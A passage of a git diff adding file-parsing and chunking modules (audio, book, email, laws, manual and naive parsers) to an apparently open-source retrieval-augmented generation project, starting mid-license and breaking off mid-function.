Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# \ No newline at end of file diff --git a/rag/app/audio.py b/rag/app/audio.py new file mode 100644 index 0000000..e8a1d26 --- /dev/null +++ b/rag/app/audio.py @@ -0,0 +1,61 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +import re +import tempfile + +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from rag.nlp import rag_tokenizer, tokenize + + +def chunk(filename, binary, tenant_id, lang, callback=None, **kwargs): + doc = {"docnm_kwd": filename, "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename))} + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + + # is it English + eng = lang.lower() == "english" # is_english(sections) + try: + _, ext = os.path.splitext(filename) + if not ext: + raise RuntimeError("No extension detected.") + + if ext not in [".da", ".wave", ".wav", ".mp3", ".wav", ".aac", ".flac", ".ogg", ".aiff", ".au", ".midi", ".wma", ".realaudio", ".vqf", ".oggvorbis", ".aac", ".ape"]: + raise RuntimeError(f"Extension {ext} is not supported yet.") + + tmp_path = "" + with tempfile.NamedTemporaryFile(suffix=ext, delete=False) as tmpf: + tmpf.write(binary) + tmpf.flush() + tmp_path = os.path.abspath(tmpf.name) + + callback(0.1, "USE Sequence2Txt LLM to transcription the audio") + seq2txt_mdl = LLMBundle(tenant_id, LLMType.SPEECH2TEXT, lang=lang) + ans = seq2txt_mdl.transcription(tmp_path) + callback(0.8, "Sequence2Txt LLM respond: %s ..." % ans[:32]) + + tokenize(doc, ans, eng) + return [doc] + except Exception as e: + callback(prog=-1, msg=str(e)) + finally: + if tmp_path and os.path.exists(tmp_path): + try: + os.unlink(tmp_path) + except Exception: + pass + return [] diff --git a/rag/app/book.py b/rag/app/book.py new file mode 100644 index 0000000..e395434 --- /dev/null +++ b/rag/app/book.py @@ -0,0 +1,160 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +from tika import parser +import re +from io import BytesIO + +from deepdoc.parser.utils import get_text +from rag.nlp import bullets_category, is_english,remove_contents_table, \ + hierarchical_merge, make_colon_as_title, naive_merge, random_choices, tokenize_table, \ + tokenize_chunks +from rag.nlp import rag_tokenizer +from deepdoc.parser import PdfParser, DocxParser, PlainParser, HtmlParser + + +class Pdf(PdfParser): + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + from timeit import default_timer as timer + start = timer() + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + + start = timer() + self._layouts_rec(zoomin) + callback(0.67, "Layout analysis ({:.2f}s)".format(timer() - start)) + logging.debug("layouts: {}".format(timer() - start)) + + start = timer() + self._table_transformer_job(zoomin) + callback(0.68, "Table analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._text_merge() + tbls = self._extract_table_figure(True, zoomin, True, True) + self._naive_vertical_merge() + self._filter_forpages() + self._merge_with_same_bullet() + callback(0.8, "Text extraction ({:.2f}s)".format(timer() - start)) + + return [(b["text"] + self._line_tag(b, zoomin), b.get("layoutno", "")) + for b in self.boxes], tbls + + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, **kwargs): + """ + Supported file formats are docx, pdf, txt. + Since a book is long and not all the parts are useful, if it's a PDF, + please setup the page ranges for every book in order eliminate negative effects and save elapsed computing time. + """ + parser_config = kwargs.get( + "parser_config", { + "chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}) + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + pdf_parser = None + sections, tbls = [], [] + if re.search(r"\.docx$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + doc_parser = DocxParser() + # TODO: table of contents need to be removed + sections, tbls = doc_parser( + binary if binary else filename, from_page=from_page, to_page=to_page) + remove_contents_table(sections, eng=is_english( + random_choices([t for t, _ in sections], k=200))) + tbls = [((None, lns), None) for lns in tbls] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.pdf$", filename, re.IGNORECASE): + pdf_parser = Pdf() + if parser_config.get("layout_recognize", "DeepDOC") == "Plain Text": + pdf_parser = PlainParser() + sections, tbls = pdf_parser(filename if not binary else binary, + from_page=from_page, to_page=to_page, callback=callback) + + elif re.search(r"\.txt$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + sections = txt.split("\n") + sections = [(line, "") for line in sections if line] + remove_contents_table(sections, eng=is_english( + random_choices([t for t, _ in sections], k=200))) + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(htm|html)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + sections = HtmlParser()(filename, binary) + sections = [(line, "") for line in sections if line] + remove_contents_table(sections, eng=is_english( + random_choices([t for t, _ in sections], k=200))) + callback(0.8, "Finish parsing.") + + elif re.search(r"\.doc$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + binary = BytesIO(binary) + doc_parsed = parser.from_buffer(binary) + sections = doc_parsed['content'].split('\n') + sections = [(line, "") for line in sections if line] + remove_contents_table(sections, eng=is_english( + random_choices([t for t, _ in sections], k=200))) + callback(0.8, "Finish parsing.") + + else: + raise NotImplementedError( + "file type not supported yet(doc, docx, pdf, txt supported)") + + make_colon_as_title(sections) + bull = bullets_category( + [t for t in random_choices([t for t, _ in sections], k=100)]) + if bull >= 0: + chunks = ["\n".join(ck) + for ck in hierarchical_merge(bull, sections, 5)] + else: + sections = [s.split("@") for s, _ in sections] + sections = [(pr[0], "@" + pr[1]) if len(pr) == 2 else (pr[0], '') for pr in sections ] + chunks = naive_merge( + sections, kwargs.get( + "chunk_token_num", 256), kwargs.get( + "delimer", "\n。；！？")) + + # is it English + # is_english(random_choices([t for t, _ in sections], k=218)) + eng = lang.lower() == "english" + + res = tokenize_table(tbls, doc, eng) + res.extend(tokenize_chunks(chunks, doc, eng, pdf_parser)) + + return res + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + chunk(sys.argv[1], from_page=1, to_page=10, callback=dummy) diff --git a/rag/app/email.py b/rag/app/email.py new file mode 100644 index 0000000..1affe4f --- /dev/null +++ b/rag/app/email.py @@ -0,0 +1,117 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +from email import policy +from email.parser import BytesParser +from rag.app.naive import chunk as naive_chunk +import re +from rag.nlp import rag_tokenizer, naive_merge, tokenize_chunks +from deepdoc.parser import HtmlParser, TxtParser +from timeit import default_timer as timer +import io + + +def chunk( + filename, + binary=None, + from_page=0, + to_page=100000, + lang="Chinese", + callback=None, + **kwargs, +): + """ + Only eml is supported + """ + eng = lang.lower() == "english" # is_english(cks) + parser_config = kwargs.get( + "parser_config", + {"chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}, + ) + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)), + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + main_res = [] + attachment_res = [] + + if binary: + msg = BytesParser(policy=policy.default).parse(io.BytesIO(binary)) + else: + msg = BytesParser(policy=policy.default).parse(open(filename, "rb")) + + text_txt, html_txt = [], [] + # get the email header info + for header, value in msg.items(): + text_txt.append(f"{header}: {value}") + + # get the email main info + def _add_content(msg, content_type): + if content_type == "text/plain": + text_txt.append( + msg.get_payload(decode=True).decode(msg.get_content_charset()) + ) + elif content_type == "text/html": + html_txt.append( + msg.get_payload(decode=True).decode(msg.get_content_charset()) + ) + elif "multipart" in content_type: + if msg.is_multipart(): + for part in msg.iter_parts(): + _add_content(part, part.get_content_type()) + + _add_content(msg, msg.get_content_type()) + + sections = TxtParser.parser_txt("\n".join(text_txt)) + [ + (line, "") for line in HtmlParser.parser_txt("\n".join(html_txt), chunk_token_num=parser_config["chunk_token_num"]) if line + ] + + st = timer() + chunks = naive_merge( + sections, + int(parser_config.get("chunk_token_num", 128)), + parser_config.get("delimiter", "\n!?。；！？"), + ) + + main_res.extend(tokenize_chunks(chunks, doc, eng, None)) + logging.debug("naive_merge({}): {}".format(filename, timer() - st)) + # get the attachment info + for part in msg.iter_attachments(): + content_disposition = part.get("Content-Disposition") + if content_disposition: + dispositions = content_disposition.strip().split(";") + if dispositions[0].lower() == "attachment": + filename = part.get_filename() + payload = part.get_payload(decode=True) + try: + attachment_res.extend( + naive_chunk(filename, payload, callback=callback, **kwargs) + ) + except Exception: + pass + + return main_res + attachment_res + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/laws.py b/rag/app/laws.py new file mode 100644 index 0000000..35cb706 --- /dev/null +++ b/rag/app/laws.py @@ -0,0 +1,213 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +from tika import parser +import re +from io import BytesIO +from docx import Document + +from api.db import ParserType +from deepdoc.parser.utils import get_text +from rag.nlp import bullets_category, remove_contents_table, \ + make_colon_as_title, tokenize_chunks, docx_question_level, tree_merge +from rag.nlp import rag_tokenizer, Node +from deepdoc.parser import PdfParser, DocxParser, PlainParser, HtmlParser + + + + + +class Docx(DocxParser): + def __init__(self): + pass + + def __clean(self, line): + line = re.sub(r"\u3000", " ", line).strip() + return line + + def old_call(self, filename, binary=None, from_page=0, to_page=100000): + self.doc = Document( + filename) if not binary else Document(BytesIO(binary)) + pn = 0 + lines = [] + for p in self.doc.paragraphs: + if pn > to_page: + break + if from_page <= pn < to_page and p.text.strip(): + lines.append(self.__clean(p.text)) + for run in p.runs: + if 'lastRenderedPageBreak' in run._element.xml: + pn += 1 + continue + if 'w:br' in run._element.xml and 'type="page"' in run._element.xml: + pn += 1 + return [line for line in lines if line] + + def __call__(self, filename, binary=None, from_page=0, to_page=100000): + self.doc = Document( + filename) if not binary else Document(BytesIO(binary)) + pn = 0 + lines = [] + level_set = set() + bull = bullets_category([p.text for p in self.doc.paragraphs]) + for p in self.doc.paragraphs: + if pn > to_page: + break + question_level, p_text = docx_question_level(p, bull) + if not p_text.strip("\n"): + continue + lines.append((question_level, p_text)) + level_set.add(question_level) + for run in p.runs: + if 'lastRenderedPageBreak' in run._element.xml: + pn += 1 + continue + if 'w:br' in run._element.xml and 'type="page"' in run._element.xml: + pn += 1 + + sorted_levels = sorted(level_set) + + h2_level = sorted_levels[1] if len(sorted_levels) > 1 else 1 + h2_level = sorted_levels[-2] if h2_level == sorted_levels[-1] and len(sorted_levels) > 2 else h2_level + + root = Node(level=0, depth=h2_level, texts=[]) + root.build_tree(lines) + + return [("\n").join(element) for element in root.get_tree() if element] + + + def __str__(self) -> str: + return f''' + question:{self.question}, + answer:{self.answer}, + level:{self.level}, + childs:{self.childs} + ''' + + +class Pdf(PdfParser): + def __init__(self): + self.model_speciess = ParserType.LAWS.value + super().__init__() + + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + from timeit import default_timer as timer + start = timer() + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback + ) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + + start = timer() + self._layouts_rec(zoomin) + callback(0.67, "Layout analysis ({:.2f}s)".format(timer() - start)) + logging.debug("layouts:".format( + )) + self._naive_vertical_merge() + + callback(0.8, "Text extraction ({:.2f}s)".format(timer() - start)) + + return [(b["text"], self._line_tag(b, zoomin)) + for b in self.boxes], None + + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, **kwargs): + """ + Supported file formats are docx, pdf, txt. + """ + parser_config = kwargs.get( + "parser_config", { + "chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}) + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + pdf_parser = None + sections = [] + # is it English + eng = lang.lower() == "english" # is_english(sections) + + if re.search(r"\.docx$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + chunks = Docx()(filename, binary) + callback(0.7, "Finish parsing.") + return tokenize_chunks(chunks, doc, eng, None) + + elif re.search(r"\.pdf$", filename, re.IGNORECASE): + pdf_parser = Pdf() + if parser_config.get("layout_recognize", "DeepDOC") == "Plain Text": + pdf_parser = PlainParser() + for txt, poss in pdf_parser(filename if not binary else binary, + from_page=from_page, to_page=to_page, callback=callback)[0]: + sections.append(txt + poss) + + elif re.search(r"\.(txt|md|markdown|mdx)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + sections = txt.split("\n") + sections = [s for s in sections if s] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(htm|html)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + sections = HtmlParser()(filename, binary) + sections = [s for s in sections if s] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.doc$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + binary = BytesIO(binary) + doc_parsed = parser.from_buffer(binary) + sections = doc_parsed['content'].split('\n') + sections = [s for s in sections if s] + callback(0.8, "Finish parsing.") + + else: + raise NotImplementedError( + "file type not supported yet(doc, docx, pdf, txt supported)") + + + # Remove 'Contents' part + remove_contents_table(sections, eng) + + make_colon_as_title(sections) + bull = bullets_category(sections) + res = tree_merge(bull, sections, 2) + + + if not res: + callback(0.99, "No chunk parsed out.") + + return tokenize_chunks(res, doc, eng, pdf_parser) + + # chunks = hierarchical_merge(bull, sections, 5) + # return tokenize_chunks(["\n".join(ck)for ck in chunks], doc, eng, pdf_parser) + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/manual.py b/rag/app/manual.py new file mode 100644 index 0000000..7fa395f --- /dev/null +++ b/rag/app/manual.py @@ -0,0 +1,285 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import copy +import re + +from api.db import ParserType +from io import BytesIO +from rag.nlp import rag_tokenizer, tokenize, tokenize_table, bullets_category, title_frequency, tokenize_chunks, docx_question_level +from rag.utils import num_tokens_from_string +from deepdoc.parser import PdfParser, PlainParser, DocxParser +from docx import Document +from PIL import Image + + +class Pdf(PdfParser): + def __init__(self): + self.model_speciess = ParserType.MANUAL.value + super().__init__() + + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + from timeit import default_timer as timer + start = timer() + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback + ) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + logging.debug("OCR: {}".format(timer() - start)) + + start = timer() + self._layouts_rec(zoomin) + callback(0.65, "Layout analysis ({:.2f}s)".format(timer() - start)) + logging.debug("layouts: {}".format(timer() - start)) + + start = timer() + self._table_transformer_job(zoomin) + callback(0.67, "Table analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._text_merge() + tbls = self._extract_table_figure(True, zoomin, True, True) + self._concat_downward() + self._filter_forpages() + callback(0.68, "Text merged ({:.2f}s)".format(timer() - start)) + + # clean mess + for b in self.boxes: + b["text"] = re.sub(r"([\t 　]|\u3000){2,}", " ", b["text"].strip()) + + return [(b["text"], b.get("layoutno", ""), self.get_position(b, zoomin)) + for i, b in enumerate(self.boxes)], tbls + + +class Docx(DocxParser): + def __init__(self): + pass + + def get_picture(self, document, paragraph): + img = paragraph._element.xpath('.//pic:pic') + if not img: + return None + img = img[0] + embed = img.xpath('.//a:blip/@r:embed')[0] + related_part = document.part.related_parts[embed] + image = related_part.image + image = Image.open(BytesIO(image.blob)) + return image + + def concat_img(self, img1, img2): + if img1 and not img2: + return img1 + if not img1 and img2: + return img2 + if not img1 and not img2: + return None + width1, height1 = img1.size + width2, height2 = img2.size + + new_width = max(width1, width2) + new_height = height1 + height2 + new_image = Image.new('RGB', (new_width, new_height)) + + new_image.paste(img1, (0, 0)) + new_image.paste(img2, (0, height1)) + + return new_image + + def __call__(self, filename, binary=None, from_page=0, to_page=100000, callback=None): + self.doc = Document( + filename) if not binary else Document(BytesIO(binary)) + pn = 0 + last_answer, last_image = "", None + question_stack, level_stack = [], [] + ti_list = [] + for p in self.doc.paragraphs: + if pn > to_page: + break + question_level, p_text = 0, '' + if from_page <= pn < to_page and p.text.strip(): + question_level, p_text = docx_question_level(p) + if not question_level or question_level > 6: # not a question + last_answer = f'{last_answer}\n{p_text}' + current_image = self.get_picture(self.doc, p) + last_image = self.concat_img(last_image, current_image) + else: # is a question + if last_answer or last_image: + sum_question = '\n'.join(question_stack) + if sum_question: + ti_list.append((f'{sum_question}\n{last_answer}', last_image)) + last_answer, last_image = '', None + + i = question_level + while question_stack and i <= level_stack[-1]: + question_stack.pop() + level_stack.pop() + question_stack.append(p_text) + level_stack.append(question_level) + for run in p.runs: + if 'lastRenderedPageBreak' in run._element.xml: + pn += 1 + continue + if 'w:br' in run._element.xml and 'type="page"' in run._element.xml: + pn += 1 + if last_answer: + sum_question = '\n'.join(question_stack) + if sum_question: + ti_list.append((f'{sum_question}\n{last_answer}', last_image)) + + tbls = [] + for tb in self.doc.tables: + html= "" + for r in tb.rows: + html += "" + i = 0 + while i < len(r.cells): + span = 1 + c = r.cells[i] + for j in range(i+1, len(r.cells)): + if c.text == r.cells[j].text: + span += 1 + i = j + else: + break + i += 1 + html += f"" if span == 1 else f"" + html += "" + html += "
{c.text}{c.text}
" + tbls.append(((None, html), "")) + return ti_list, tbls + + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, **kwargs): + """ + Only pdf is supported. + """ + parser_config = kwargs.get( + "parser_config", { + "chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}) + pdf_parser = None + doc = { + "docnm_kwd": filename + } + doc["title_tks"] = rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", doc["docnm_kwd"])) + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + # is it English + eng = lang.lower() == "english" # pdf_parser.is_english + if re.search(r"\.pdf$", filename, re.IGNORECASE): + pdf_parser = Pdf() + if parser_config.get("layout_recognize", "DeepDOC") == "Plain Text": + pdf_parser = PlainParser() + sections, tbls = pdf_parser(filename if not binary else binary, + from_page=from_page, to_page=to_page, callback=callback) + if sections and len(sections[0]) < 3: + sections = [(t, lvl, [[0] * 5]) for t, lvl in sections] + # set pivot using the most frequent type of title, + # then merge between 2 pivot + if len(sections) > 0 and len(pdf_parser.outlines) / len(sections) > 0.03: + max_lvl = max([lvl for _, lvl in pdf_parser.outlines]) + most_level = max(0, max_lvl - 1) + levels = [] + for txt, _, _ in sections: + for t, lvl in pdf_parser.outlines: + tks = set([t[i] + t[i + 1] for i in range(len(t) - 1)]) + tks_ = set([txt[i] + txt[i + 1] + for i in range(min(len(t), len(txt) - 1))]) + if len(set(tks & tks_)) / max([len(tks), len(tks_), 1]) > 0.8: + levels.append(lvl) + break + else: + levels.append(max_lvl + 1) + + else: + bull = bullets_category([txt for txt, _, _ in sections]) + most_level, levels = title_frequency( + bull, [(txt, lvl) for txt, lvl, _ in sections]) + + assert len(sections) == len(levels) + sec_ids = [] + sid = 0 + for i, lvl in enumerate(levels): + if lvl <= most_level and i > 0 and lvl != levels[i - 1]: + sid += 1 + sec_ids.append(sid) + + sections = [(txt, sec_ids[i], poss) + for i, (txt, _, poss) in enumerate(sections)] + for (img, rows), poss in tbls: + if not rows: + continue + sections.append((rows if isinstance(rows, str) else rows[0], -1, + [(p[0] + 1 - from_page, p[1], p[2], p[3], p[4]) for p in poss])) + + def tag(pn, left, right, top, bottom): + if pn + left + right + top + bottom == 0: + return "" + return "@@{}\t{:.1f}\t{:.1f}\t{:.1f}\t{:.1f}##" \ + .format(pn, left, right, top, bottom) + + chunks = [] + last_sid = -2 + tk_cnt = 0 + for txt, sec_id, poss in sorted(sections, key=lambda x: ( + x[-1][0][0], x[-1][0][3], x[-1][0][1])): + poss = "\t".join([tag(*pos) for pos in poss]) + if tk_cnt < 32 or (tk_cnt < 1024 and (sec_id == last_sid or sec_id == -1)): + if chunks: + chunks[-1] += "\n" + txt + poss + tk_cnt += num_tokens_from_string(txt) + continue + chunks.append(txt + poss) + tk_cnt = num_tokens_from_string(txt) + if sec_id > -1: + last_sid = sec_id + + res = tokenize_table(tbls, doc, eng) + res.extend(tokenize_chunks(chunks, doc, eng, pdf_parser)) + return res + + elif re.search(r"\.docx?$", filename, re.IGNORECASE): + docx_parser = Docx() + ti_list, tbls = docx_parser(filename, binary, + from_page=0, to_page=10000, callback=callback) + res = tokenize_table(tbls, doc, eng) + for text, image in ti_list: + d = copy.deepcopy(doc) + if image: + d['image'] = image + d["doc_type_kwd"] = "image" + tokenize(d, text, eng) + res.append(d) + return res + else: + raise NotImplementedError("file type not supported yet(pdf and docx supported)") + + +if __name__ == "__main__": + import sys + + + def dummy(prog=None, msg=""): + pass + + + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/naive.py b/rag/app/naive.py new file mode 100644 index 0000000..9265ae7 --- /dev/null +++ b/rag/app/naive.py @@ -0,0 +1,603 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import re +from functools import reduce +from io import BytesIO +from timeit import default_timer as timer + +from docx import Document +from docx.image.exceptions import InvalidImageStreamError, UnexpectedEndOfFileError, UnrecognizedImageError +from docx.opc.pkgreader import _SerializedRelationships, _SerializedRelationship +from docx.opc.oxml import parse_xml +from markdown import markdown +from PIL import Image +from tika import parser + +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from deepdoc.parser import DocxParser, ExcelParser, HtmlParser, JsonParser, MarkdownElementExtractor, MarkdownParser, PdfParser, TxtParser +from deepdoc.parser.figure_parser import VisionFigureParser, vision_figure_parser_figure_data_wrapper +from deepdoc.parser.pdf_parser import PlainParser, VisionParser +from rag.nlp import concat_img, find_codec, naive_merge, naive_merge_with_images, naive_merge_docx, rag_tokenizer, tokenize_chunks, tokenize_chunks_with_images, tokenize_table + + +class Docx(DocxParser): + def __init__(self): + pass + + def get_picture(self, document, paragraph): + imgs = paragraph._element.xpath('.//pic:pic') + if not imgs: + return None + res_img = None + for img in imgs: + embed = img.xpath('.//a:blip/@r:embed') + if not embed: + continue + embed = embed[0] + try: + related_part = document.part.related_parts[embed] + image_blob = related_part.image.blob + except UnrecognizedImageError: + logging.info("Unrecognized image format. Skipping image.") + continue + except UnexpectedEndOfFileError: + logging.info("EOF was unexpectedly encountered while reading an image stream. Skipping image.") + continue + except InvalidImageStreamError: + logging.info("The recognized image stream appears to be corrupted. Skipping image.") + continue + except UnicodeDecodeError: + logging.info("The recognized image stream appears to be corrupted. Skipping image.") + continue + except Exception: + logging.info("The recognized image stream appears to be corrupted. Skipping image.") + continue + try: + image = Image.open(BytesIO(image_blob)).convert('RGB') + if res_img is None: + res_img = image + else: + res_img = concat_img(res_img, image) + except Exception: + continue + + return res_img + + def __clean(self, line): + line = re.sub(r"\u3000", " ", line).strip() + return line + + def __get_nearest_title(self, table_index, filename): + """Get the hierarchical title structure before the table""" + import re + from docx.text.paragraph import Paragraph + + titles = [] + blocks = [] + + # Get document name from filename parameter + doc_name = re.sub(r"\.[a-zA-Z]+$", "", filename) + if not doc_name: + doc_name = "Untitled Document" + + # Collect all document blocks while maintaining document order + try: + # Iterate through all paragraphs and tables in document order + for i, block in enumerate(self.doc._element.body): + if block.tag.endswith('p'): # Paragraph + p = Paragraph(block, self.doc) + blocks.append(('p', i, p)) + elif block.tag.endswith('tbl'): # Table + blocks.append(('t', i, None)) # Table object will be retrieved later + except Exception as e: + logging.error(f"Error collecting blocks: {e}") + return "" + + # Find the target table position + target_table_pos = -1 + table_count = 0 + for i, (block_type, pos, _) in enumerate(blocks): + if block_type == 't': + if table_count == table_index: + target_table_pos = pos + break + table_count += 1 + + if target_table_pos == -1: + return "" # Target table not found + + # Find the nearest heading paragraph in reverse order + nearest_title = None + for i in range(len(blocks)-1, -1, -1): + block_type, pos, block = blocks[i] + if pos >= target_table_pos: # Skip blocks after the table + continue + + if block_type != 'p': + continue + + if block.style and block.style.name and re.search(r"Heading\s*(\d+)", block.style.name, re.I): + try: + level_match = re.search(r"(\d+)", block.style.name) + if level_match: + level = int(level_match.group(1)) + if level <= 7: # Support up to 7 heading levels + title_text = block.text.strip() + if title_text: # Avoid empty titles + nearest_title = (level, title_text) + break + except Exception as e: + logging.error(f"Error parsing heading level: {e}") + + if nearest_title: + # Add current title + titles.append(nearest_title) + current_level = nearest_title[0] + + # Find all parent headings, allowing cross-level search + while current_level > 1: + found = False + for i in range(len(blocks)-1, -1, -1): + block_type, pos, block = blocks[i] + if pos >= target_table_pos: # Skip blocks after the table + continue + + if block_type != 'p': + continue + + if block.style and re.search(r"Heading\s*(\d+)", block.style.name, re.I): + try: + level_match = re.search(r"(\d+)", block.style.name) + if level_match: + level = int(level_match.group(1)) + # Find any heading with a higher level + if level < current_level: + title_text = block.text.strip() + if title_text: # Avoid empty titles + titles.append((level, title_text)) + current_level = level + found = True + break + except Exception as e: + logging.error(f"Error parsing parent heading: {e}") + + if not found: # Break if no parent heading is found + break + + # Sort by level (ascending, from highest to lowest) + titles.sort(key=lambda x: x[0]) + # Organize titles (from highest to lowest) + hierarchy = [doc_name] + [t[1] for t in titles] + return " > ".join(hierarchy) + + return "" + + def __call__(self, filename, binary=None, from_page=0, to_page=100000): + self.doc = Document( + filename) if not binary else Document(BytesIO(binary)) + pn = 0 + lines = [] + last_image = None + for p in self.doc.paragraphs: + if pn > to_page: + break + if from_page <= pn < to_page: + if p.text.strip(): + if p.style and p.style.name == 'Caption': + former_image = None + if lines and lines[-1][1] and lines[-1][2] != 'Caption': + former_image = lines[-1][1].pop() + elif last_image: + former_image = last_image + last_image = None + lines.append((self.__clean(p.text), [former_image], p.style.name)) + else: + current_image = self.get_picture(self.doc, p) + image_list = [current_image] + if last_image: + image_list.insert(0, last_image) + last_image = None + lines.append((self.__clean(p.text), image_list, p.style.name if p.style else "")) + else: + if current_image := self.get_picture(self.doc, p): + if lines: + lines[-1][1].append(current_image) + else: + last_image = current_image + for run in p.runs: + if 'lastRenderedPageBreak' in run._element.xml: + pn += 1 + continue + if 'w:br' in run._element.xml and 'type="page"' in run._element.xml: + pn += 1 + new_line = [(line[0], reduce(concat_img, line[1]) if line[1] else None) for line in lines] + + tbls = [] + for i, tb in enumerate(self.doc.tables): + title = self.__get_nearest_title(i, filename) + html = "" + if title: + html += f"" + for r in tb.rows: + html += "" + i = 0 + try: + while i < len(r.cells): + span = 1 + c 